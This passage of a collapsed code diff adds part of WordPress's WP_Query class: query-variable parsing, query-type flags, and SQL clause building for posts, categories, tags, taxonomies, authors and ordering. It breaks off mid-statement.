'category__and', 'post__in', 'post__not_in', + 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and'); + + foreach ( $array_keys as $key ) { + if ( !isset($array[$key])) + $array[$key] = array(); + } + return $array; + } + + /** + * Parse a query string and set query type booleans. + * + * @since 1.5.0 + * @access public + * + * @param string|array $query + */ + function parse_query ($query) { + if ( !empty($query) || !isset($this->query) ) { + $this->init(); + if ( is_array($query) ) + $this->query_vars = $query; + else + parse_str($query, $this->query_vars); + $this->query = $query; + } + + $this->query_vars = $this->fill_query_vars($this->query_vars); + $qv = &$this->query_vars; + + if ( ! empty($qv['robots']) ) + $this->is_robots = true; + + $qv['p'] = absint($qv['p']); + $qv['page_id'] = absint($qv['page_id']); + $qv['year'] = absint($qv['year']); + $qv['monthnum'] = absint($qv['monthnum']); + $qv['day'] = absint($qv['day']); + $qv['w'] = absint($qv['w']); + $qv['m'] = absint($qv['m']); + $qv['paged'] = absint($qv['paged']); + $qv['cat'] = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // comma separated list of positive or negative integers + $qv['pagename'] = trim( $qv['pagename'] ); + $qv['name'] = trim( $qv['name'] ); + if ( '' !== $qv['hour'] ) $qv['hour'] = absint($qv['hour']); + if ( '' !== $qv['minute'] ) $qv['minute'] = absint($qv['minute']); + if ( '' !== $qv['second'] ) $qv['second'] = absint($qv['second']); + + // Compat. Map subpost to attachment. + if ( '' != $qv['subpost'] ) + $qv['attachment'] = $qv['subpost']; + if ( '' != $qv['subpost_id'] ) + $qv['attachment_id'] = $qv['subpost_id']; + + $qv['attachment_id'] = absint($qv['attachment_id']); + + if ( ('' != $qv['attachment']) || !empty($qv['attachment_id']) ) { + $this->is_single = true; + $this->is_attachment = true; + } elseif ( '' != $qv['name'] ) { + $this->is_single = true; + } elseif ( $qv['p'] ) { + $this->is_single = true; + } elseif ( ('' !== $qv['hour']) && ('' !== $qv['minute']) &&('' !== $qv['second']) && ('' != $qv['year']) && ('' != $qv['monthnum']) && ('' != $qv['day']) ) { + // If year, month, day, hour, minute, and second are set, a single + // post is being queried. + $this->is_single = true; + } elseif ( '' != $qv['static'] || '' != $qv['pagename'] || !empty($qv['page_id']) ) { + $this->is_page = true; + $this->is_single = false; + } elseif ( !empty($qv['s']) ) { + $this->is_search = true; + } else { + // Look for archive queries. Dates, categories, authors. + + if ( '' !== $qv['second'] ) { + $this->is_time = true; + $this->is_date = true; + } + + if ( '' !== $qv['minute'] ) { + $this->is_time = true; + $this->is_date = true; + } + + if ( '' !== $qv['hour'] ) { + $this->is_time = true; + $this->is_date = true; + } + + if ( $qv['day'] ) { + if (! $this->is_date) { + $this->is_day = true; + $this->is_date = true; + } + } + + if ( $qv['monthnum'] ) { + if (! $this->is_date) { + $this->is_month = true; + $this->is_date = true; + } + } + + if ( $qv['year'] ) { + if (! $this->is_date) { + $this->is_year = true; + $this->is_date = true; + } + } + + if ( $qv['m'] ) { + $this->is_date = true; + if (strlen($qv['m']) > 9) { + $this->is_time = true; + } else if (strlen($qv['m']) > 7) { + $this->is_day = true; + } else if (strlen($qv['m']) > 5) { + $this->is_month = true; + } else { + $this->is_year = true; + } + } + + if ('' != $qv['w']) { + $this->is_date = true; + } + + if ( empty($qv['cat']) || ($qv['cat'] == '0') ) { + $this->is_category = false; + } else { + if (strpos($qv['cat'], '-') !== false) { + $this->is_category = false; + } else { + $this->is_category = true; + } + } + + if ( '' != $qv['category_name'] ) { + $this->is_category = true; + } + + if ( !is_array($qv['category__in']) || empty($qv['category__in']) ) { + $qv['category__in'] = array(); + } else { + $qv['category__in'] = array_map('absint', $qv['category__in']); + $this->is_category = true; + } + + if ( !is_array($qv['category__not_in']) || empty($qv['category__not_in']) ) { + $qv['category__not_in'] = array(); + } else { + $qv['category__not_in'] = array_map('absint', $qv['category__not_in']); + } + + if ( !is_array($qv['category__and']) || empty($qv['category__and']) ) { + $qv['category__and'] = array(); + } else { + $qv['category__and'] = array_map('absint', $qv['category__and']); + $this->is_category = true; + } + + if ( '' != $qv['tag'] ) + $this->is_tag = true; + + $qv['tag_id'] = absint($qv['tag_id']); + if ( !empty($qv['tag_id']) ) + $this->is_tag = true; + + if ( !is_array($qv['tag__in']) || empty($qv['tag__in']) ) { + $qv['tag__in'] = array(); + } else { + $qv['tag__in'] = array_map('absint', $qv['tag__in']); + $this->is_tag = true; + } + + if ( !is_array($qv['tag__not_in']) || empty($qv['tag__not_in']) ) { + $qv['tag__not_in'] = array(); + } else { + $qv['tag__not_in'] = array_map('absint', $qv['tag__not_in']); + } + + if ( !is_array($qv['tag__and']) || empty($qv['tag__and']) ) { + $qv['tag__and'] = array(); + } else { + $qv['tag__and'] = array_map('absint', $qv['tag__and']); + $this->is_category = true; + } + + if ( !is_array($qv['tag_slug__in']) || empty($qv['tag_slug__in']) ) { + $qv['tag_slug__in'] = array(); + } else { + $qv['tag_slug__in'] = array_map('sanitize_title', $qv['tag_slug__in']); + $this->is_tag = true; + } + + if ( !is_array($qv['tag_slug__and']) || empty($qv['tag_slug__and']) ) { + $qv['tag_slug__and'] = array(); + } else { + $qv['tag_slug__and'] = array_map('sanitize_title', $qv['tag_slug__and']); + $this->is_tag = true; + } + + if ( empty($qv['taxonomy']) || empty($qv['term']) ) { + $this->is_tax = false; + foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t ) { + if ( $t->query_var && isset($qv[$t->query_var]) && '' != $qv[$t->query_var] ) { + $qv['taxonomy'] = $taxonomy; + $qv['term'] = $qv[$t->query_var]; + $this->is_tax = true; + break; + } + } + } else { + $this->is_tax = true; + } + + if ( empty($qv['author']) || ($qv['author'] == '0') ) { + $this->is_author = false; + } else { + $this->is_author = true; + } + + if ( '' != $qv['author_name'] ) { + $this->is_author = true; + } + + if ( ($this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax) ) + $this->is_archive = true; + } + + if ( '' != $qv['feed'] ) + $this->is_feed = true; + + if ( '' != $qv['tb'] ) + $this->is_trackback = true; + + if ( '' != $qv['paged'] && ( intval($qv['paged']) > 1 ) ) + $this->is_paged = true; + + if ( '' != $qv['comments_popup'] ) + $this->is_comments_popup = true; + + // if we're previewing inside the write screen + if ('' != $qv['preview']) + $this->is_preview = true; + + if ( is_admin() ) + $this->is_admin = true; + + if ( false !== strpos($qv['feed'], 'comments-') ) { + $qv['feed'] = str_replace('comments-', '', $qv['feed']); + $qv['withcomments'] = 1; + } + + $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; + + if ( $this->is_feed && ( !empty($qv['withcomments']) || ( empty($qv['withoutcomments']) && $this->is_singular ) ) ) + $this->is_comment_feed = true; + + if ( !( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_comments_popup || $this->is_robots ) ) + $this->is_home = true; + + // Correct is_* for page_on_front and page_for_posts + if ( $this->is_home && ( empty($this->query) || $qv['preview'] == 'true' ) && 'page' == get_option('show_on_front') && get_option('page_on_front') ) { + $this->is_page = true; + $this->is_home = false; + $qv['page_id'] = get_option('page_on_front'); + } + + if ( '' != $qv['pagename'] ) { + $this->queried_object =& get_page_by_path($qv['pagename']); + if ( !empty($this->queried_object) ) + $this->queried_object_id = (int) $this->queried_object->ID; + else + unset($this->queried_object); + + if ( 'page' == get_option('show_on_front') && isset($this->queried_object_id) && $this->queried_object_id == get_option('page_for_posts') ) { + $this->is_page = false; + $this->is_home = true; + $this->is_posts_page = true; + } + } + + if ( $qv['page_id'] ) { + if ( 'page' == get_option('show_on_front') && $qv['page_id'] == get_option('page_for_posts') ) { + $this->is_page = false; + $this->is_home = true; + $this->is_posts_page = true; + } + } + + if ( !empty($qv['post_type']) ) { + if(is_array($qv['post_type'])) + $qv['post_type'] = array_map('sanitize_user', $qv['post_type'], array(true)); + else + $qv['post_type'] = sanitize_user($qv['post_type'], true); + } + + if ( !empty($qv['post_status']) ) + $qv['post_status'] = preg_replace('|[^a-z0-9_,-]|', '', $qv['post_status']); + + if ( $this->is_posts_page && ( ! isset($qv['withcomments']) || ! $qv['withcomments'] ) ) + $this->is_comment_feed = false; + + $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; + // Done correcting is_* for page_on_front and page_for_posts + + if ('404' == $qv['error']) + $this->set_404(); + + if ( !empty($query) ) + do_action_ref_array('parse_query', array(&$this)); + } + + /** + * Sets the 404 property and saves whether query is feed. + * + * @since 2.0.0 + * @access public + */ + function set_404() { + $is_feed = $this->is_feed; + + $this->init_query_flags(); + $this->is_404 = true; + + $this->is_feed = $is_feed; + } + + /** + * Retrieve query variable. + * + * @since 1.5.0 + * @access public + * + * @param string $query_var Query variable key. + * @return mixed + */ + function get($query_var) { + if (isset($this->query_vars[$query_var])) { + return $this->query_vars[$query_var]; + } + + return ''; + } + + /** + * Set query variable. + * + * @since 1.5.0 + * @access public + * + * @param string $query_var Query variable key. + * @param mixed $value Query variable value. + */ + function set($query_var, $value) { + $this->query_vars[$query_var] = $value; + } + + /** + * Retrieve the posts based on query variables. + * + * There are a few filters and actions that can be used to modify the post + * database query. + * + * @since 1.5.0 + * @access public + * @uses do_action_ref_array() Calls 'pre_get_posts' hook before retrieving posts. + * + * @return array List of posts. + */ + function &get_posts() { + global $wpdb, $user_ID; + + do_action_ref_array('pre_get_posts', array(&$this)); + + // Shorthand. + $q = &$this->query_vars; + + $q = $this->fill_query_vars($q); + + // First let's clear some variables + $distinct = ''; + $whichcat = ''; + $whichauthor = ''; + $whichmimetype = ''; + $where = ''; + $limits = ''; + $join = ''; + $search = ''; + $groupby = ''; + $fields = "$wpdb->posts.*"; + $post_status_join = false; + $page = 1; + + if ( !isset($q['caller_get_posts']) ) + $q['caller_get_posts'] = false; + + if ( !isset($q['suppress_filters']) ) + $q['suppress_filters'] = false; + + if ( !isset($q['post_type']) ) { + if ( $this->is_search ) + $q['post_type'] = 'any'; + else + $q['post_type'] = ''; + } + $post_type = $q['post_type']; + if ( !isset($q['posts_per_page']) || $q['posts_per_page'] == 0 ) + $q['posts_per_page'] = get_option('posts_per_page'); + if ( isset($q['showposts']) && $q['showposts'] ) { + $q['showposts'] = (int) $q['showposts']; + $q['posts_per_page'] = $q['showposts']; + } + if ( (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0) && ($this->is_archive || $this->is_search) ) + $q['posts_per_page'] = $q['posts_per_archive_page']; + if ( !isset($q['nopaging']) ) { + if ($q['posts_per_page'] == -1) { + $q['nopaging'] = true; + } else { + $q['nopaging'] = false; + } + } + if ( $this->is_feed ) { + $q['posts_per_page'] = get_option('posts_per_rss'); + $q['nopaging'] = false; + } + $q['posts_per_page'] = (int) $q['posts_per_page']; + if ( $q['posts_per_page'] < -1 ) + $q['posts_per_page'] = abs($q['posts_per_page']); + else if ( $q['posts_per_page'] == 0 ) + $q['posts_per_page'] = 1; + + if ( !isset($q['comments_per_page']) || $q['comments_per_page'] == 0 ) + $q['comments_per_page'] = get_option('comments_per_page'); + + if ( $this->is_home && (empty($this->query) || $q['preview'] == 'true') && ( 'page' == get_option('show_on_front') ) && get_option('page_on_front') ) { + $this->is_page = true; + $this->is_home = false; + $q['page_id'] = get_option('page_on_front'); + } + + if (isset($q['page'])) { + $q['page'] = trim($q['page'], '/'); + $q['page'] = absint($q['page']); + } + + // If a month is specified in the querystring, load that month + if ( $q['m'] ) { + $q['m'] = '' . preg_replace('|[^0-9]|', '', $q['m']); + $where .= " AND YEAR($wpdb->posts.post_date)=" . substr($q['m'], 0, 4); + if (strlen($q['m'])>5) + $where .= " AND MONTH($wpdb->posts.post_date)=" . substr($q['m'], 4, 2); + if (strlen($q['m'])>7) + $where .= " AND DAYOFMONTH($wpdb->posts.post_date)=" . substr($q['m'], 6, 2); + if (strlen($q['m'])>9) + $where .= " AND HOUR($wpdb->posts.post_date)=" . substr($q['m'], 8, 2); + if (strlen($q['m'])>11) + $where .= " AND MINUTE($wpdb->posts.post_date)=" . substr($q['m'], 10, 2); + if (strlen($q['m'])>13) + $where .= " AND SECOND($wpdb->posts.post_date)=" . substr($q['m'], 12, 2); + } + + if ( '' !== $q['hour'] ) + $where .= " AND HOUR($wpdb->posts.post_date)='" . $q['hour'] . "'"; + + if ( '' !== $q['minute'] ) + $where .= " AND MINUTE($wpdb->posts.post_date)='" . $q['minute'] . "'"; + + if ( '' !== $q['second'] ) + $where .= " AND SECOND($wpdb->posts.post_date)='" . $q['second'] . "'"; + + if ( $q['year'] ) + $where .= " AND YEAR($wpdb->posts.post_date)='" . $q['year'] . "'"; + + if ( $q['monthnum'] ) + $where .= " AND MONTH($wpdb->posts.post_date)='" . $q['monthnum'] . "'"; + + if ( $q['day'] ) + $where .= " AND DAYOFMONTH($wpdb->posts.post_date)='" . $q['day'] . "'"; + + if ('' != $q['name']) { + $q['name'] = sanitize_title($q['name']); + $where .= " AND $wpdb->posts.post_name = '" . $q['name'] . "'"; + } else if ('' != $q['pagename']) { + if ( isset($this->queried_object_id) ) + $reqpage = $this->queried_object_id; + else { + $reqpage = get_page_by_path($q['pagename']); + if ( !empty($reqpage) ) + $reqpage = $reqpage->ID; + else + $reqpage = 0; + } + + $page_for_posts = get_option('page_for_posts'); + if ( ('page' != get_option('show_on_front') ) || empty($page_for_posts) || ( $reqpage != $page_for_posts ) ) { + $q['pagename'] = str_replace('%2F', '/', urlencode(urldecode($q['pagename']))); + $page_paths = '/' . trim($q['pagename'], '/'); + $q['pagename'] = sanitize_title(basename($page_paths)); + $q['name'] = $q['pagename']; + $where .= " AND ($wpdb->posts.ID = '$reqpage')"; + $reqpage_obj = get_page($reqpage); + if ( is_object($reqpage_obj) && 'attachment' == $reqpage_obj->post_type ) { + $this->is_attachment = true; + $this->is_page = true; + $q['attachment_id'] = $reqpage; + } + } + } elseif ('' != $q['attachment']) { + $q['attachment'] = str_replace('%2F', '/', urlencode(urldecode($q['attachment']))); + $attach_paths = '/' . trim($q['attachment'], '/'); + $q['attachment'] = sanitize_title(basename($attach_paths)); + $q['name'] = $q['attachment']; + $where .= " AND $wpdb->posts.post_name = '" . $q['attachment'] . "'"; + } + + if ( $q['w'] ) + $where .= " AND WEEK($wpdb->posts.post_date, 1)='" . $q['w'] . "'"; + + if ( intval($q['comments_popup']) ) + $q['p'] = absint($q['comments_popup']); + + // If an attachment is requested by number, let it supercede any post number. + if ( $q['attachment_id'] ) + $q['p'] = absint($q['attachment_id']); + + // If a post number is specified, load that post + if ( $q['p'] ) { + $where .= " AND {$wpdb->posts}.ID = " . $q['p']; + } elseif ( $q['post__in'] ) { + $post__in = implode(',', array_map( 'absint', $q['post__in'] )); + $where .= " AND {$wpdb->posts}.ID IN ($post__in)"; + } elseif ( $q['post__not_in'] ) { + $post__not_in = implode(',', array_map( 'absint', $q['post__not_in'] )); + $where .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)"; + } + + if ( is_numeric($q['post_parent']) ) + $where .= $wpdb->prepare( " AND $wpdb->posts.post_parent = %d ", $q['post_parent'] ); + + if ( $q['page_id'] ) { + if ( ('page' != get_option('show_on_front') ) || ( $q['page_id'] != get_option('page_for_posts') ) ) { + $q['p'] = $q['page_id']; + $where = " AND {$wpdb->posts}.ID = " . $q['page_id']; + } + } + + // If a search pattern is specified, load the posts that match + if ( !empty($q['s']) ) { + // added slashes screw with quote grouping when done early, so done later + $q['s'] = stripslashes($q['s']); + if ( !empty($q['sentence']) ) { + $q['search_terms'] = array($q['s']); + } else { + preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $q['s'], $matches); + $q['search_terms'] = array_map('_search_terms_tidy', $matches[0]); + } + $n = !empty($q['exact']) ? '' : '%'; + $searchand = ''; + foreach( (array) $q['search_terms'] as $term) { + $term = addslashes_gpc($term); + $search .= "{$searchand}(($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}'))"; + $searchand = ' AND '; + } + $term = esc_sql($q['s']); + if (empty($q['sentence']) && count($q['search_terms']) > 1 && $q['search_terms'][0] != $q['s'] ) + $search .= " OR ($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}')"; + + if ( !empty($search) ) { + $search = " AND ({$search}) "; + if ( !is_user_logged_in() ) + $search .= " AND ($wpdb->posts.post_password = '') "; + } + } + + // Category stuff + + if ( empty($q['cat']) || ($q['cat'] == '0') || + // Bypass cat checks if fetching specific posts + $this->is_singular ) { + $whichcat = ''; + } else { + $q['cat'] = ''.urldecode($q['cat']).''; + $q['cat'] = addslashes_gpc($q['cat']); + $cat_array = preg_split('/[,\s]+/', $q['cat']); + $q['cat'] = ''; + $req_cats = array(); + foreach ( (array) $cat_array as $cat ) { + $cat = intval($cat); + $req_cats[] = $cat; + $in = ($cat > 0); + $cat = abs($cat); + if ( $in ) { + $q['category__in'][] = $cat; + $q['category__in'] = array_merge($q['category__in'], get_term_children($cat, 'category')); + } else { + $q['category__not_in'][] = $cat; + $q['category__not_in'] = array_merge($q['category__not_in'], get_term_children($cat, 'category')); + } + } + $q['cat'] = implode(',', $req_cats); + } + + if ( !empty($q['category__in']) ) { + $join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) "; + $whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'category' "; + $include_cats = "'" . implode("', '", $q['category__in']) . "'"; + $whichcat .= " AND $wpdb->term_taxonomy.term_id IN ($include_cats) "; + } + + if ( !empty($q['category__not_in']) ) { + $cat_string = "'" . implode("', '", $q['category__not_in']) . "'"; + $whichcat .= " AND $wpdb->posts.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id IN ($cat_string) )"; + } + + // Category stuff for nice URLs + if ( '' != $q['category_name'] && !$this->is_singular ) { + $q['category_name'] = implode('/', array_map('sanitize_title', explode('/', $q['category_name']))); + $reqcat = get_category_by_path($q['category_name']); + $q['category_name'] = str_replace('%2F', '/', urlencode(urldecode($q['category_name']))); + $cat_paths = '/' . trim($q['category_name'], '/'); + $q['category_name'] = sanitize_title(basename($cat_paths)); + + $cat_paths = '/' . trim(urldecode($q['category_name']), '/'); + $q['category_name'] = sanitize_title(basename($cat_paths)); + $cat_paths = explode('/', $cat_paths); + $cat_path = ''; + foreach ( (array) $cat_paths as $pathdir ) + $cat_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title($pathdir); + + //if we don't match the entire hierarchy fallback on just matching the nicename + if ( empty($reqcat) ) + $reqcat = get_category_by_path($q['category_name'], false); + + if ( !empty($reqcat) ) + $reqcat = $reqcat->term_id; + else + $reqcat = 0; + + $q['cat'] = $reqcat; + + $join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) "; + $whichcat = " AND $wpdb->term_taxonomy.taxonomy = 'category' "; + $in_cats = array($q['cat']); + $in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category')); + $in_cats = "'" . implode("', '", $in_cats) . "'"; + $whichcat .= "AND $wpdb->term_taxonomy.term_id IN ($in_cats)"; + $groupby = "{$wpdb->posts}.ID"; + } + + // Tags + if ( '' != $q['tag'] ) { + if ( strpos($q['tag'], ',') !== false ) { + $tags = preg_split('/[,\s]+/', $q['tag']); + foreach ( (array) $tags as $tag ) { + $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); + $q['tag_slug__in'][] = $tag; + } + } else if ( preg_match('/[+\s]+/', $q['tag']) || !empty($q['cat']) ) { + $tags = preg_split('/[+\s]+/', $q['tag']); + foreach ( (array) $tags as $tag ) { + $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); + $q['tag_slug__and'][] = $tag; + } + } else { + $q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db'); + $q['tag_slug__in'][] = $q['tag']; + } + } + + if ( !empty($q['category__in']) || !empty($q['meta_key']) || !empty($q['tag__in']) || !empty($q['tag_slug__in']) ) { + $groupby = "{$wpdb->posts}.ID"; + } + + if ( !empty($q['tag__in']) && empty($q['cat']) ) { + $join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) "; + $whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'post_tag' "; + $include_tags = "'" . implode("', '", $q['tag__in']) . "'"; + $whichcat .= " AND $wpdb->term_taxonomy.term_id IN ($include_tags) "; + $reqtag = is_term( $q['tag__in'][0], 'post_tag' ); + if ( !empty($reqtag) ) + $q['tag_id'] = $reqtag['term_id']; + } + + if ( !empty($q['tag_slug__in']) && empty($q['cat']) ) { + $join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) INNER JOIN $wpdb->terms ON ($wpdb->term_taxonomy.term_id = $wpdb->terms.term_id) "; + $whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'post_tag' "; + $include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'"; + $whichcat .= " AND $wpdb->terms.slug IN ($include_tags) "; + $reqtag = get_term_by( 'slug', $q['tag_slug__in'][0], 'post_tag' ); + if ( !empty($reqtag) ) + $q['tag_id'] = $reqtag->term_id; + } + + if ( !empty($q['tag__not_in']) ) { + $tag_string = "'" . implode("', '", $q['tag__not_in']) . "'"; + $whichcat .= " AND $wpdb->posts.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'post_tag' AND tt.term_id IN ($tag_string) )"; + } + + // Tag and slug intersections. + $intersections = array('category__and' => 'category', 'tag__and' => 'post_tag', 'tag_slug__and' => 'post_tag', 'tag__in' => 'post_tag', 'tag_slug__in' => 'post_tag'); + $tagin = array('tag__in', 'tag_slug__in'); // These are used to make some exceptions below + foreach ($intersections as $item => $taxonomy) { + if ( empty($q[$item]) ) continue; + if ( in_array($item, $tagin) && empty($q['cat']) ) continue; // We should already have what we need if categories aren't being used + + if ( $item != 'category__and' ) { + $reqtag = is_term( $q[$item][0], 'post_tag' ); + if ( !empty($reqtag) ) + $q['tag_id'] = $reqtag['term_id']; + } + + if ( in_array( $item, array('tag_slug__and', 'tag_slug__in' ) ) ) + $taxonomy_field = 'slug'; + else + $taxonomy_field = 'term_id'; + + $q[$item] = array_unique($q[$item]); + $tsql = "SELECT p.ID FROM $wpdb->posts p INNER JOIN $wpdb->term_relationships tr ON (p.ID = tr.object_id) INNER JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) INNER JOIN $wpdb->terms t ON (tt.term_id = t.term_id)"; + $tsql .= " WHERE tt.taxonomy = '$taxonomy' AND t.$taxonomy_field IN ('" . implode("', '", $q[$item]) . "')"; + if ( !in_array($item, $tagin) ) { // This next line is only helpful if we are doing an and relationship + $tsql .= " GROUP BY p.ID HAVING count(p.ID) = " . count($q[$item]); + } + $post_ids = $wpdb->get_col($tsql); + + if ( count($post_ids) ) + $whichcat .= " AND $wpdb->posts.ID IN (" . implode(', ', $post_ids) . ") "; + else { + $whichcat = " AND 0 = 1"; + break; + } + } + + // Taxonomies + if ( $this->is_tax ) { + if ( '' != $q['taxonomy'] ) { + $taxonomy = $q['taxonomy']; + $tt[$taxonomy] = $q['term']; + $terms = get_terms($q['taxonomy'], array('slug'=>$q['term'])); + } else { + foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t ) { + if ( $t->query_var && '' != $q[$t->query_var] ) { + $terms = get_terms($taxonomy, array('slug'=>$q[$t->query_var])); + if ( !is_wp_error($terms) ) + break; + } + } + } + if ( is_wp_error($terms) || empty($terms) ) { + $whichcat = " AND 0 "; + } else { + foreach ( $terms as $term ) + $term_ids[] = $term->term_id; + $post_ids = get_objects_in_term($term_ids, $taxonomy); + if ( !is_wp_error($post_ids) && count($post_ids) ) { + $whichcat .= " AND $wpdb->posts.ID IN (" . implode(', ', $post_ids) . ") "; + $post_type = 'any'; + $q['post_status'] = 'publish'; + $post_status_join = true; + } else { + $whichcat = " AND 0 "; + } + } + } + + // Author/user stuff + + if ( empty($q['author']) || ($q['author'] == '0') ) { + $whichauthor=''; + } else { + $q['author'] = ''.urldecode($q['author']).''; + $q['author'] = addslashes_gpc($q['author']); + if (strpos($q['author'], '-') !== false) { + $eq = '!='; + $andor = 'AND'; + $q['author'] = explode('-', $q['author']); + $q['author'] = '' . absint($q['author'][1]); + } else { + $eq = '='; + $andor = 'OR'; + } + $author_array = preg_split('/[,\s]+/', $q['author']); + $whichauthor .= " AND ($wpdb->posts.post_author ".$eq.' '.absint($author_array[0]); + for ($i = 1; $i < (count($author_array)); $i = $i + 1) { + $whichauthor .= ' '.$andor." $wpdb->posts.post_author ".$eq.' '.absint($author_array[$i]); + } + $whichauthor .= ')'; + } + + // Author stuff for nice URLs + + if ('' != $q['author_name']) { + if (strpos($q['author_name'], '/') !== false) { + $q['author_name'] = explode('/',$q['author_name']); + if ($q['author_name'][count($q['author_name'])-1]) { + $q['author_name'] = $q['author_name'][count($q['author_name'])-1];#no trailing slash + } else { + $q['author_name'] = $q['author_name'][count($q['author_name'])-2];#there was a trailling slash + } + } + $q['author_name'] = sanitize_title($q['author_name']); + $q['author'] = $wpdb->get_var("SELECT ID FROM $wpdb->users WHERE user_nicename='".$q['author_name']."'"); + $q['author'] = get_user_by('slug', $q['author_name']); + if ( $q['author'] ) + $q['author'] = $q['author']->ID; + $whichauthor .= " AND ($wpdb->posts.post_author = ".absint($q['author']).')'; + } + + // MIME-Type stuff for attachment browsing + + if ( isset($q['post_mime_type']) && '' != $q['post_mime_type'] ) + $whichmimetype = wp_post_mime_type_where($q['post_mime_type']); + + $where .= $search.$whichcat.$whichauthor.$whichmimetype; + + if ( empty($q['order']) || ((strtoupper($q['order']) != 'ASC') && (strtoupper($q['order']) != 'DESC')) ) + $q['order'] = 'DESC'; + + // Order by + if ( empty($q['orderby']) ) { + $q['orderby'] = "$wpdb->posts.post_date ".$q['order']; + } elseif ( 'none' == $q['orderby'] ) { + $q['orderby'] = ''; + } else { + // Used to filter values + $allowed_keys = array('author', 'date', 'title', 'modified', 'menu_order', 'parent', 'ID', 'rand', 'comment_count'); + if ( !empty($q['meta_key']) ) { + $allowed_keys[] = $q['meta_key']; + $allowed_keys[] = 'meta_value'; + } + $q['orderby'] = urldecode($q['orderby']); + $q['orderby'] = addslashes_gpc($q['orderby']); + $orderby_array = explode(' ',$q['orderby']); + if ( empty($orderby_array) ) + $orderby_array[] = $q['orderby']; + $q['orderby'] = ''; + for ($i = 0; $i < count($orderby_array); $i++) { + // Only allow certain values for safety + $orderby = $orderby_array[$i]; + switch ($orderby) { + case 'menu_order': + break; + case 'ID': + $orderby = "$wpdb->posts.ID"; + break; + case 'rand': + $orderby = 'RAND()'; + break; + case $q['meta_key']: + case 'meta_value': + $orderby = "$wpdb->postmeta.meta_value"; + break; + case 'comment_count': + $orderby = "$wpdb->posts.comment_count"; + break; + default: + $orderby = "$wpdb->posts.post_" . $orderby; + } + if ( in_array($orderby_array[$i], $allowed_keys) ) + $q['orderby'] .= (($i == 0) ? '' : ',') . $orderby; + } + // append ASC or DESC at the end + if ( !empty($q['orderby'])) + $q['orderby'] .= " {$q['order']}"; + + if ( empty($q['orderby']) ) + $q['orderby'] = "$wpdb->posts.post_date ".$q['order']; + } + + if ( is_array($post_type) ) + $post_type_cap = 'multiple_post_type'; + else + $post_type_cap = $post_type; + + $exclude_post_types = ''; + foreach ( get_post_types( array('exclude_from_search' => true) ) as $_wp_post_type ) + $exclude_post_types .= $wpdb->prepare(" AND $wpdb->posts.post_type != %s", $_wp_post_type); + + if ( 'any' == $post_type ) { + $where .= $exclude_post_types; + } elseif ( !empty( $post_type ) && is_array( $post_type ) ) { + $where .= " AND $wpdb->posts.post_type IN ('" . join("', '", $post_type) . "')"; + } elseif ( ! empty( $post_type ) ) { + $where .= " AND $wpdb->posts.post_type = '$post_type'"; + } elseif ( $this->is_attachment ) { + $where .= " AND $wpdb->posts.post_type = 'attachment'"; + $post_type_cap = 'post'; + } elseif ($this->is_page) { + $where .= " AND $wpdb->posts.post_type = 'page'"; + $post_type_cap = 'page'; + } else { + $where .= " AND $wpdb->posts.post_type = 'post'"; + $post_type_cap = 'post'; + } + + if ( isset($q['post_status']) && '' != $q['post_status'] ) { + $statuswheres = array(); + $q_status = explode(',', $q['post_status']); + $r_status = array(); + $p_status = array(); + if ( $q['post_status'] == 'any' ) { + // @todo Use register_post_status() data to determine which states should be excluded. + $r_status[] = "$wpdb->posts.post_status <> 'trash'"; + } else { + if ( in_array( 'draft' , $q_status ) ) + $r_status[] = "$wpdb->posts.post_status = 'draft'"; + if ( in_array( 'pending', $q_status ) ) + $r_status[] = "$wpdb->posts.post_status = 'pending'"; + if ( in_array( 'future' , $q_status ) ) + $r_status[] = "$wpdb->posts.post_status = 'future'"; + if ( in_array( 'inherit' , $q_status ) ) + $r_status[] = 